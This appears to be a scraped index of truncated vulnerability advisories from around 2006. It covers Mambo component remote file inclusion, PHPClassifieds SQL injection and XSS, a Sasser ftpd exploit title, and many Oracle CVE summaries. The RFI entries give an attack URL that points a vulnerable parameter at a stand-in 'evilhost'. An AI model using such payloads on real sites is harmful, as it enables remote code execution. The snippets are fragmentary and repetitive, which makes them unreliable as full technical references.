Mambo Component perForms 1.0 - Remote File Inclusion

Mambo Component perForms 1.0 - Remote File Inclusion ------------------------------------------------------------------------ --- perForms founds 12.000 sites ! http://www.vuln.com/components/comperforms/performs.php?mosConfigabsolutepath=http://evilhost Fix Add before code: defined'VALIDMOS' or...

Mambo Component perForms 1.0 - Remote File Inclusion

------------------------------------------------------------------------ --- perForms founds 12.000 sites ! http://www.vuln.com/components/comperforms/performs.php?mosConfigabsolutepath=http://evilhost Fix Add before code: defined'VALIDMOS' or die'Direct access to this location is not allowed.';...

Mambo Component SMF Forum 1.3.1.3 - Remote File Inclusion

Joomla-SMF Forum Bridge For Mambo 4.5.3+ And Mambo 4.5.3+ Remote File Inclusion Vulnebrality Discovered by : ASIANEAGLE Remote:Yes Level:High --------------------------------------------------------- Application: SMF Forum 1.3.1.3 Bridge Component For Joomla And Mambo Vulnerable File: smf.php...

PHPClassifieds General

PHPClassifieds General v.n/a Homepage: http://www.phpclassifieds.info/ Affected files: search.php Posting classified ads ----------------------------------------- SQL injection on search.php via rate var: http://www.example.com/search.php?rate=sql ----------------------------------------- XSS vul...

newscientist.txt

We from Black Box Magazine - Underground Inet-Security Research -- http://bboxnet.mine.nu found Cross Site Scripting Vuln in http://www.newscientist.com/ Write this example in Search: "...

Sasser Worm ftpd Remote Buffer Overflow Exploit (port 5554)

Exploit for unknown platform in category remote exploits =========================================================== Sasser Worm ftpd Remote Buffer Overflow Exploit port 5554 =========================================================== / / // / / / / \ / / / / / / / // // / // / // //// -...

CyberBuild vuln.

CyberBuild vuln. Vuln. discovered by : r0t Date: 1 may 2006 vendorlink:www.smartwin.com.au/cyberbuild.htm affected versions:last orginal advisory:http://pridels.blogspot.com/2006/05/cyberbuild-vuln.html Vuln. Description: 1. SQL injection. CyberOffice Warehouse Builder contains a flaw that allows...

Design/Logic Flaw

Unspecified vulnerability in Oracle Database Server 8.1.7.4, 9.0.1.5, and 9.2.0.7 has unknown impact and attack vectors in the Oracle Spatial component, aka Vuln DB13...

CVE-2006-1877

Unspecified vulnerability in Oracle Database Server 8.1.7.4, 9.0.1.5, and 9.2.0.7 has unknown impact and attack vectors in the Oracle Spatial component, aka Vuln DB13...

CVE-2006-1884

Unspecified vulnerability in the Oracle Thesaurus Management System component in Oracle E-Business Suite and OPA 4.5.2 Applications has unknown impact and attack vectors, aka Vuln OPA01...

Design/Logic Flaw

Unspecified vulnerability in Oracle Database Server 9.2.0.7, 10.1.0.4, and 10.2.0.1 has unknown impact and attack vectors in the Oracle Spatial component, aka Vuln DB08...

Sql injection

SQL injection vulnerability in Oracle Database Server 9.2.0.7 and 10.1.0.5 allows remote attackers to execute arbitrary SQL commands via the DELETEFROMTABLE function in the DBMSLOGMNRSESSION Log Miner package, aka Vuln DB06...

CVE-2006-1883

Unspecified vulnerability in the Oracle Application Object Library component in Oracle E-Business Suite and Applications 11.5.10CU1 has unknown impact and attack vectors, aka Vuln APPS05...

Design/Logic Flaw

Unspecified vulnerability in Oracle Database Server 8.1.7.4, 9.0.1.5, 9.2.0.7, 10.1.0.5, and 10.2.0.2 has unknown impact and attack vectors in the Export component, aka Vuln DB05. NOTE: details are unavailable from Oracle, but as of 20060427, they have not publicly commented on whether DB05 is th...

CVE-2006-1887

Unspecified vulnerability in Oracle JD Edwards EnterpriseOne Security Server 8.95.J1 has unknown impact and attack vectors, aka Vuln JDE01...

CVE-2006-1882

Multiple unspecified vulnerabilities in Oracle E-Business Suite and Applications 11.5.10 have unknown impact and attack vectors, as identified by Vuln 1 APPS03 in a iProcurement; 2 APPS04 in b Oracle Application Object Library; 3 APPS06, 4 APPS07, and 5 APPS08 in c Oracle Applications Technology...

CVE-2006-1869

CVE-2006-1869: Unspecified vulnerability in Oracle Database Server versions 8.1.7.4 and 9.0.1.5 affects the Dictionary component (DB04). The initial description notes unknown impact and attack vectors; connected documents corroborate that this vulnerability is associated with Oracle’s Dictionary,...

CVE-2006-1883

Unspecified vulnerability in the Oracle Application Object Library component in Oracle E-Business Suite and Applications 11.5.10CU1 has unknown impact and attack vectors, aka Vuln APPS05...

CVE-2006-1876

The CVE relates to Oracle Database Server 9.2.0.7 and 10.1.0.4 with Oracle Spatial, where the issue is believed to be a SQL injection vulnerability in the MDSYS.SDO_PRIDX package (GEN_RID_RANGE_BY_AREA and GEN_RID_RANGE functions). Details are not publicly disclosed by Oracle; impact and attack v...

CVE-2006-1877

Technical details about CVE-2006-1877 are not provided in the supplied documents. The Oracle Spatial vulnerability is described as unspecified with unknown impact and vectors.